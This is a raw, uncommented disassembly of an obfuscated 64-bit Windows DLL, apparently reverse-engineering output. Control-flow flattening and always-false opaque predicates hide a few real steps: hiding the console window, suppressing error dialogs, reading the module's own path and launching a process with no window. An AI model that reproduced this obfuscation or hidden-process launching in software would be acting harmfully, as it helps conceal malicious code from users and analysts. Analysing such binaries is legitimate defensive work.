and al, dl
xor al, bl
mov ecx, 0xcfaa23b9
mov eax, 0x4dc0cc95
cmovne ecx, eax
jmp 0x18003f04d
cmp eax, 0xf121c33b
je 0x180044477
mov ecx, eax
cmp eax, 0xf136141a
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x191c8fcd
mov eax, 0x51f02f01
jmp 0x18003f040
cmp eax, 0x305668be
je 0x180044495
mov ecx, eax
cmp eax, 0x309ea79f
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xf8126e68
mov eax, 0xc5cf9d7d
jmp 0x18003f040
cmp eax, 0xafe41c72
je 0x1800444b4
mov ecx, eax
cmp eax, 0xb138cf3f
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x65e089b6
mov eax, 0xf121c33b
jmp 0x18003f040
cmp eax, 0x69659317
je 0x1800444be
mov ecx, eax
cmp eax, 0x6ab2e3a8
jne 0x18003f04d
mov ecx, 0x1d6c672
jmp 0x18003f04d
cmp eax, 0xe0a2813d
je 0x1800444dc
mov ecx, eax
cmp eax, 0xe0f7b26a
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x4de7cefa
mov eax, 0xc55dfe8a
jmp 0x18003f040
cmp eax, 0x2122729b
je 0x1800444e6
mov ecx, eax
cmp eax, 0x21d750ea
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xbcdd625a
mov eax, 0x8f84dbf0
jmp 0x18003f040
cmp eax, 0x9dacf57e
je 0x180044504
mov ecx, eax
cmp eax, 0x9df06b0f
jne 0x18003f04d
mov ecx, 0x943821fa
jmp 0x18003f04d
cmp eax, 0x5b8d0880
je 0x18004450e
mov ecx, eax
cmp eax, 0x5b946f5d
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x1489711d
mov eax, 0xd4538c21
jmp 0x18003f040
cmp eax, 0x1d6c672
je 0x18004457e
mov ecx, eax
cmp eax, 0x360f43b
jne 0x18003f04d
mov ecx, 0xad28e69b
jmp 0x18003f04d
cmp eax, 0x3f8a3593
je 0x18004459c
mov ecx, eax
cmp eax, 0x40e9f884
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xc3f7e097
mov eax, 0x3cc0ca1f
jmp 0x18003f040
cmp eax, 0xc0553829
je 0x180044623
mov ecx, eax
cmp eax, 0xc09203a8
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x578da14e
mov eax, 0xfa0f3736
jmp 0x18003f040
cmp eax, 0x7c670d70
je 0x180044653
mov ecx, eax
cmp eax, 0x7ce81a5b
jne 0x18003f04d
mov ecx, 0xbad31b37
jmp 0x18003f04d
cmp eax, 0xc5484edd
je 0x180044671
mov ecx, eax
cmp eax, 0xc55dfe8a
jne 0x18003f04d
mov eax, dword [0x1800b0188]
mov ecx, dword [0x1800b018c]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete r8b
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl r9b
mov ecx, r9d
xor cl, r8b
or dl, r9b
and dl, cl
and bl, r8b
xor bl, dl
mov edx, ecx
xor dl, 1
or dl, bl
mov ebx, ecx
xor bl, dl
and r9b, r8b
mov eax, r9d
not al
or al, bl
not bl
not dl
and dl, cl
or dl, bl
xor al, r9b
xor al, dl
test al, 1
mov ecx, 0xbde7da8d
mov eax, 0x44cb12ae
cmovne ecx, eax
jmp 0x18003f04d
cmp eax, 0x9c4769a
je 0x18004467b
mov ecx, eax
cmp eax, 0x9e2ca81
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x170e5927
mov eax, 0x999c230a
jmp 0x18003f040
cmp eax, 0x82dd76f5
je 0x180044699
mov ecx, eax
cmp eax, 0x845c498e
jne 0x18003f04d
mov ecx, 0x9c4769a
jmp 0x18003f04d
cmp eax, 0x44cb12ae
je 0x1800446b7
mov ecx, eax
cmp eax, 0x4555ec9c
jne 0x18003f04d
mov ecx, 0xcb09d000
jmp 0x18003f04d
cmp eax, 0xe566c1c4
je 0x1800446c1
mov ecx, eax
cmp eax, 0xe692be76
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xeed9a898
mov eax, 0xd9f803bb
jmp 0x18003f040
cmp eax, 0x264fbc3b
je 0x1800446df
mov ecx, eax
cmp eax, 0x2691b002
jne 0x18003f04d
mov ecx, 0xac0ceb10
jmp 0x18003f04d
cmp eax, 0xa45ffff3
je 0x1800446fd
mov ecx, eax
cmp eax, 0xa4c1c1c8
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x5f391605
mov eax, 0x4b46277d
jmp 0x18003f040
cmp eax, 0x6145dde3
je 0x18004471b
mov ecx, eax
cmp eax, 0x614e5644
jne 0x18003f04d
mov ecx, 0x2b36a98b
jmp 0x18003f04d
cmp eax, 0xd19790e4
je 0x180044725
mov ecx, eax
cmp eax, 0xd1a4a296
jne 0x18003f04d
mov ecx, 0x3a11c6e9
jmp 0x18003f04d
cmp eax, 0x1841badf
je 0x18004472f
mov ecx, eax
cmp eax, 0x191c8fcd
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x42ff1334
mov eax, 0xfe417381
jmp 0x18003f040
cmp eax, 0x93469b5c
je 0x18004475f
mov ecx, eax
cmp eax, 0x943821fa
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x9df06b0f
mov eax, 0x3422bd8d
jmp 0x18003f040
cmp eax, 0x510f013b
je 0x18004479a
mov ecx, eax
cmp eax, 0x512ea901
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x3eaa9c80
mov eax, 0xaab8cac0
jmp 0x18003f040
cmp eax, 0xf7bac112
je 0x1800447a4
mov ecx, eax
cmp eax, 0xf8126e68
jne 0x18003f04d
mov ecx, 0xc5cf9d7d
jmp 0x18003f04d
cmp eax, 0x36110a60
je 0x1800447c2
mov ecx, eax
cmp eax, 0x36333e3d
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x41361cf6
mov eax, 0xc0ae616
jmp 0x18003f040
cmp eax, 0xb8efcc58
je 0x1800447cc
mov ecx, eax
cmp eax, 0xb917c3ab
jne 0x18003f04d
mov ecx, 0x5b8d0880
jmp 0x18003f04d
cmp eax, 0x710d4502
je 0x1800447ea
mov ecx, eax
cmp eax, 0x720fce73
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x1ad67f8d
mov eax, 0xf1aac56e
jmp 0x18003f040
cmp eax, 0xcac0e2d4
je 0x1800448a2
mov ecx, eax
cmp eax, 0xcb09d000
jne 0x18003f04d
mov edx, dword [0x1800b0188]
mov edi, dword [0x1800b018c]
lea ecx, [rdx - 1]
imul ecx, edx
and ecx, 1
sete r8b
cmp edi, 9
setg r9b
cmp edi, 0xa
setl al
mov edx, ecx
and dl, al
xor al, r8b
mov ebx, eax
xor bl, 1
or dl, bl
or r9b, r8b
xor dl, r9b
mov ebx, 0xe9a4568d
mov esi, 0x4555ec9c
cmovne ebx, esi
mov r14, qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test al, al
mov eax, 0x4555ec9c
cmovne eax, ebx
test r9b, r9b
cmove eax, ebx
test dl, dl
mov edx, 0xe9a4568d
jmp 0x180043a09
cmp eax, 0x1210b579
je 0x1800448d0
mov ecx, eax
cmp eax, 0x1230fb44
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xb4fc1176
mov eax, 0x47d07f21
jmp 0x18003f040
cmp eax, 0x8a1373f3
je 0x1800448ee
mov ecx, eax
cmp eax, 0x8a8dba73
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x1210b579
mov eax, 0xd229b365
cmovne ecx, eax
cmp dword [0x1800b018c], 9
mov eax, 0x1210b579
cmovle ecx, eax
jmp 0x18003f04d
cmp eax, 0x4a24908a
je 0x18004490c
mov ecx, eax
cmp eax, 0x4a7c183d
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x211a6b8d
mov eax, 0x21d750ea
jmp 0x18003f040
cmp eax, 0xec672cf7
je 0x180044959
mov ecx, eax
cmp eax, 0xec75570e
jne 0x18003f04d
mov ecx, 0xbd3c1c7d
jmp 0x18003f04d
cmp eax, 0x2db954ff
je 0x1800449b0
mov ecx, eax
cmp eax, 0x2fa873ac
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xa6bee4d1
mov eax, 0x47bda867
jmp 0x18003f040
cmp eax, 0xab43e3d8
je 0x1800449ce
mov ecx, eax
cmp eax, 0xac0ceb10
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x1800b018c], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, dl
mov ecx, 0x2691b002
mov eax, 0x48b11cb4
jmp 0x180043eb3
cmp eax, 0x680372ee
je 0x1800449ec
mov ecx, eax
cmp eax, 0x680b3c93
jne 0x18003f04d
mov ecx, 0x3959a13a
jmp 0x18003f04d
cmp eax, 0xdac39c3d
je 0x180044a0a
mov ecx, eax
cmp eax, 0xdafce078
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xebd04e19
mov eax, 0x8b5a6fc
jmp 0x18003f040
cmp eax, 0x204a725c
je 0x180044a28
mov ecx, eax
cmp eax, 0x208b352a
jne 0x18003f04d
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
add rsp, 0x20
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x9b5dcafa
mov eax, 0xe0a2813d
jmp 0x18003f040
cmp eax, 0x9b5dcafa
je 0x180044a83
mov ecx, eax
cmp eax, 0x9c1e5102
jne 0x18003f04d
mov ecx, 0x3f216724
jmp 0x18003f04d
cmp eax, 0x595667ff
je 0x180044aa6
mov ecx, eax
cmp eax, 0x5a27cc8f
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x62ad8e74
mov eax, 0x63438424
jmp 0x18003f040
cmp eax, 0x123b1e6
je 0x180044ab0
mov ecx, eax
cmp eax, 0x199337d
jne 0x18003f04d
mov ecx, 0x76de13b5
jmp 0x18003f04d
cmp eax, 0x3e6aa912
je 0x180044ace
mov ecx, eax
cmp eax, 0x3eaa9c80
jne 0x18003f04d
mov ecx, 0xaab8cac0
jmp 0x18003f04d
cmp eax, 0xbe1fe1bd
je 0x180044aec
mov ecx, eax
cmp eax, 0xbe635408
jne 0x18003f04d
sub rsp, 0x20
mov ecx, 0x8003
call qword [sym.imp.KERNEL32.dll_SetErrorMode]
lea rcx, [0x180005170]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
add rsp, 0x20
mov r15, qword [rbp]
sub rsp, 0x20
mov rcx, qword [rbp - 0x28]
mov rdx, r15
mov r8d, 0x104
call r14
mov rcx, r15
call fcn.180052288
add rsp, 0x20
lea r8d, [rax + rax]
sub rsp, 0x20
lea rcx, [0x180063d80]
mov rdx, r15
call section..text
add rsp, 0x20
xor r15d, r15d
mov ecx, 0x61537acd
jmp 0x18003f04d
cmp eax, 0x7aaed6f0
je 0x180044b0a
mov ecx, eax
cmp eax, 0x7acdbd79
jne 0x18003f04d
mov ecx, 0xd11b789e
jmp 0x18003f04d
cmp eax, 0xc3d4e480
je 0x180044b83
mov ecx, eax
cmp eax, 0xc3f7e097
jne 0x18003f04d
mov ecx, 0x3cc0ca1f
jmp 0x18003f04d
cmp eax, 0xe9aeb0e
je 0x180044ba1
mov ecx, eax
cmp eax, 0xeb3cddf
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xf74557bb
mov eax, 0x62ed0811
jmp 0x18003f040
cmp eax, 0x8651d737
je 0x180044bbf
mov ecx, eax
cmp eax, 0x8698ba93
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xcac0e2d4
mov eax, 0xec1d67c5
jmp 0x18003f040
cmp eax, 0x48219840
je 0x180044c11
mov ecx, eax
cmp eax, 0x4894bd17
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x85ddc4eb
mov eax, 0x687f3bfd
jmp 0x18003f040
cmp eax, 0xe98b434a
je 0x180044c1b
mov ecx, eax
cmp eax, 0xe9a4568d
jne 0x18003f04d
mov ecx, 0x47d07f21
jmp 0x18003f04d
cmp eax, 0x2ab35dfd
je 0x180044c25
mov ecx, eax
cmp eax, 0x2ad5995c
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xe35fed1e
mov eax, 0xa5ada531
jmp 0x18003f040
cmp eax, 0xa6bee4d1
je 0x180044c43
mov ecx, eax
cmp eax, 0xa6dbcea2
jne 0x18003f04d
mov ecx, 0x800d2cc0
jmp 0x18003f04d
cmp eax, 0x638d904b
je 0x180044c4d
mov ecx, eax
cmp eax, 0x64b36b1a
jne 0x18003f04d
xor r15d, r15d
mov ecx, 0x61537acd
jmp 0x18003f04d
cmp eax, 0xd85012de
je 0x180044c57
mov ecx, eax
cmp eax, 0xd8f4a595
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xc5484edd
mov eax, 0xdd696783
jmp 0x18003f040
cmp eax, 0x1c56333e
je 0x180044c61
mov ecx, eax
cmp eax, 0x1ce3f46c
jne 0x18003f04d
mov ecx, 0xc09203a8
jmp 0x18003f04d
cmp eax, 0x99517fd7
je 0x180044c91
mov ecx, eax
cmp eax, 0x9957576b
jne 0x18003f04d
mov ecx, 0x5d0c500c
jmp 0x18003f04d
cmp eax, 0x54cc28c0
je 0x180044caf
mov ecx, eax
cmp eax, 0x56888e27
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x227a3c08
mov eax, 0xbd3c1c7d
jmp 0x18003f040
cmp eax, 0xfc1da251
je 0x180044cb9
mov ecx, eax
cmp eax, 0xfc2e10e9
jne 0x18003f04d
mov ecx, 0x993e4456
jmp 0x18003f04d
cmp eax, 0x3b2ad33f
je 0x180044cc3
mov ecx, eax
cmp eax, 0x3b39964e
jne 0x18003f04d
mov ecx, 0xb88d99c2
jmp 0x18003f04d
cmp eax, 0xbc4c6014
je 0x180044ce1
mov ecx, eax
cmp eax, 0xbcdd625a
jne 0x18003f04d
mov rax, qword [rbp - 0x20]
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
mov rax, qword [rbp + 0x18]
mov dword [rax], 0x68
mov rax, qword [rbp + 0x18]
mov word [rax + 0x40], 0
mov rax, qword [rbp + 0x18]
mov dword [rax + 0x3c], 1
mov rbx, qword [rbp - 0x30]
sub rsp, 0x20
mov rcx, qword [rbp - 0x28]
mov rdx, rbx
mov r8d, 0x104
call r13
add rsp, 0x20
mov rdx, qword [rbp - 0x40]
mov rax, qword [rbp + 0x18]
mov rcx, qword [rbp - 0x38]
sub rsp, 0x60
mov rdi, qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x40], rax
movups xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], 0x8000010
mov dword [rsp + 0x20], 0
xor ecx, ecx
xor r8d, r8d
xor r9d, r9d
call fcn.18004bc40
add rsp, 0x60
mov ecx, 0x8f84dbf0
jmp 0x18003f04d
cmp eax, 0x76de13b5
je 0x180044ceb
mov ecx, eax
cmp eax, 0x772bab32
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x8b1e254f
mov eax, 0xd93bdde0
jmp 0x18003f040
cmp eax, 0xcf11f0d7
je 0x180044d09
mov ecx, eax
cmp eax, 0xcf3405e2
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xf74557bb
mov eax, 0xeb3cddf
jmp 0x18003f040
cmp eax, 0x16569f12
je 0x180044d27
mov ecx, eax
cmp eax, 0x165d68fc
jne 0x18003f04d
mov ecx, 0x9046c0b0
jmp 0x18003f04d
cmp eax, 0x8f7dc6f9
je 0x180044d7e
mov ecx, eax
cmp eax, 0x8f84dbf0
jne 0x18003f04d
mov rax, qword [rbp - 0x20]
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
mov rax, qword [rbp + 0x18]
mov dword [rax], 0x68
mov rax, qword [rbp + 0x18]
mov word [rax + 0x40], 0
mov rax, qword [rbp + 0x18]
mov dword [rax + 0x3c], 1
mov rbx, qword [rbp - 0x30]
sub rsp, 0x20
mov rcx, qword [rbp - 0x28]
mov rdx, rbx
mov r8d, 0x104
call r13
add rsp, 0x20
mov rdx, qword [rbp - 0x40]
mov rax, qword [rbp + 0x18]
mov rcx, qword [rbp - 0x38]
sub rsp, 0x60
mov rdi, qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x40], rax
movups xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], 0x8000010
mov dword [rsp + 0x20], 0
xor ecx, ecx
xor r8d, r8d
xor r9d, r9d
call fcn.18004bc40
add rsp, 0x60
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x7b1e9dd4
mov eax, 0xbcdd625a
cmovne ecx, eax
cmp dword [0x1800b018c], 9
mov eax, 0x7b1e9dd4
cmovle ecx, eax
jmp 0x18003f04d
cmp eax, 0x4dc0cc95
je 0x180044dae
mov ecx, eax
cmp eax, 0x4dc4e86f
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x17fe30a2
mov eax, 0xe8b0c911
jmp 0x18003f040
cmp eax, 0xf5b12727
je 0x180044dde
mov ecx, eax
cmp eax, 0xf5cca474
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x876c25ce
mov eax, 0xa860df97
jmp 0x18003f040
cmp eax, 0x312670a9
je 0x180044dfc
mov ecx, eax
cmp eax, 0x316e0b11
jne 0x18003f04d
mov ecx, 0x75e29a1d
jmp 0x18003f04d
cmp eax, 0xb46ad9f0
je 0x180044e1a
mov ecx, eax
cmp eax, 0xb49b05be
jne 0x18003f04d
mov ecx, 0xe4596f52
jmp 0x18003f04d
cmp eax, 0x6d94f12d
je 0x180044e38
mov ecx, eax
cmp eax, 0x6dc7f90f
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x99517fd7
mov eax, 0x82cb4b10
jmp 0x18003f040
cmp eax, 0xe2654c64
je 0x180044e56
mov ecx, eax
cmp eax, 0xe35fed1e
jne 0x18003f04d
mov rbx, qword [rbp]
sub rsp, 0x20
mov edx, 0x200
mov rcx, rbx
mov r8, r12
mov r9d, 0x46601
call fcn.180044ff0
xor ecx, ecx
mov rdx, rbx
mov r8d, 0x104
call r14
mov edx, 0x200
mov rcx, rbx
call fcn.180051ec0
add rsp, 0x20
mov rdx, qword [rbp - 8]
sub rsp, 0x20
mov rcx, rbx
call fcn.1800452d0
add rsp, 0x20
mov ecx, 0xa5ada531
jmp 0x18003f04d
cmp eax, 0x2303c8ad
je 0x180044e60
mov ecx, eax
cmp eax, 0x238b3d17
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x5f1f69dd
mov eax, 0x91f55143
jmp 0x18003f040
cmp eax, 0x9feed31a
je 0x180044e7e
mov ecx, eax
cmp eax, 0xa00d5604
jne 0x18003f04d
mov ecx, 0x2fef0fe3
jmp 0x18003f04d
cmp eax, 0x5e45ae59
je 0x180044ed9
mov ecx, eax
cmp eax, 0x5eab1607
jne 0x18003f04d
mov ecx, 0x12cdf96e
jmp 0x18003f04d
cmp eax, 0x530910b
je 0x18003f023
mov ecx, eax
cmp eax, 0x548ff13
jne 0x18003f04d
mov ecx, 0xdac39c3d
jmp 0x18003f04d
cmp eax, 0x41f4397e
je 0x180044ee3
mov ecx, eax
cmp eax, 0x42829916
jne 0x18003f04d
mov ecx, 0xcf3405e2
jmp 0x18003f04d
cmp eax, 0xc1a38c86
je 0x180044f01
mov ecx, eax
cmp eax, 0xc1ab42b9
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xec764476
mov eax, 0xadb65a95
jmp 0x18003f040
cmp eax, 0x7e5144b7
je 0x180044f0b
mov ecx, eax
cmp eax, 0x7ef73834
jne 0x18003f04d
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
add rsp, 0x20
mov ecx, 0x1f6bdf51
jmp 0x18003f04d
cmp eax, 0xc6b268f4
jne 0x180044fc4
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x3d1bc43e
mov eax, 0xceaed480
cmovne ecx, eax
cmp dword [0x1800b018c], 9
mov eax, 0x3d1bc43e
cmovle ecx, eax
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xc7ee1c4a
mov eax, 0x439c187c
jmp 0x18003f040
mov ecx, 0xd9be2bee
jmp 0x18003f04d
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
add rsp, 0x20
mov ecx, 0x27b81541
jmp 0x18003f04d
mov ecx, 0x5b253b8a
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x1800b018c], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, dl
mov ecx, 0xe480f77f
mov eax, 0x851e3623
jmp 0x180043eb3
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x2b4f87f3
mov eax, 0x51d575c
jmp 0x18003f040
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x4989ad49
mov eax, 0xf5cca474
jmp 0x18003f040
mov ecx, 0x772bab32
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x595667ff
mov eax, 0x1c56333e
jmp 0x18003f040
mov ecx, 0xadb65a95
jmp 0x18003f04d
mov ecx, 0x9b217ec8
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
mov ecx, dword [0x1800b018c]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp ecx, 0xa
setl bl
xor bl, al
mov eax, 0x48a6fea0
mov ebx, 0x7e5144b7
cmovne eax, ebx
test dl, 1
cmove eax, ebx
cmp ecx, 0xa
cmovl eax, ebx
mov ecx, eax
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x48bbe2e3
mov eax, 0xeb928b73
jmp 0x18003f040
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x5f391605
mov eax, 0xa4c1c1c8
jmp 0x18003f040
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xe4083483
mov eax, 0xc2620b8c
jmp 0x18003f040
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x41361cf6
mov eax, 0x36333e3d
jmp 0x18003f040
mov eax, dword [0x1800b0188]
mov ecx, dword [0x1800b018c]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
mov eax, 0x373125d4
mov edi, 0xc292bc22
cmove eax, edi
sete r8b
cmp ecx, 0xa
mov ebx, 0x373125d4
jmp 0x180043451
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x3e6aa912
mov eax, 0xcd5c6cd6
jmp 0x18003f040
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x9c1e5102
mov eax, 0xc64244cd
jmp 0x18003f040
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x6145dde3
mov eax, 0xc535b687
jmp 0x18003f040
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x9df06b0f
mov eax, 0x943821fa
jmp 0x18003f040
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x65e089b6
mov eax, 0x5a65c0b1
jmp 0x18003f040
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x1230fb44
mov eax, 0x74e71bc
cmovne ecx, eax
cmp dword [0x1800b018c], 9
mov eax, 0x1230fb44
cmovle ecx, eax
jmp 0x18003f04d
mov ecx, 0xe89b387f
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x85ddc4eb
mov eax, 0x4894bd17
jmp 0x18003f040
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x8020ef23
mov eax, 0x41f4397e
jmp 0x18003f040
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x141b21c5
mov eax, 0x440a0e7c
cmovne ecx, eax
cmp dword [0x1800b018c], 9
mov eax, 0x141b21c5
cmovle ecx, eax
jmp 0x18003f04d
mov edx, dword [0x1800b0188]
mov r9d, dword [0x1800b018c]
lea esi, [rdx - 1]
imul esi, edx
and esi, 1
sete r8b
cmp r9d, 9
setg bl
cmp r9d, 0xa
setl al
mov edx, esi
or dl, al
xor al, r8b
mov ecx, eax
xor cl, 1
and bl, r8b
or bl, cl
xor bl, dl
mov ecx, 0xcb19e7bf
mov edi, 0x4bb84ec0
cmovne ecx, edi
test al, al
mov eax, 0x4bb84ec0
cmovne eax, ecx
test dl, dl
cmove eax, ecx
test bl, bl
mov edx, 0xcb19e7bf
jmp 0x1800433b2
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xd229b365
mov eax, 0x8a8dba73
jmp 0x18003f040
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x9957576b
mov eax, 0x2fa873ac
jmp 0x18003f040
mov ecx, 0xe8b0c911
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xfc5352d9
mov eax, 0x590d5f23
jmp 0x18003f040
mov ecx, 0x4dfcd854
jmp 0x18003f04d
mov ecx, 0xeb3cddf
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x9aec999a
mov eax, 0xe9aeb0e
jmp 0x18003f040
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x6678d744
mov eax, 0x4178fb80
jmp 0x18003f040
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x510f013b
mov eax, 0x1b796d15
jmp 0x18003f040
mov ecx, 0xa45e4da2
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
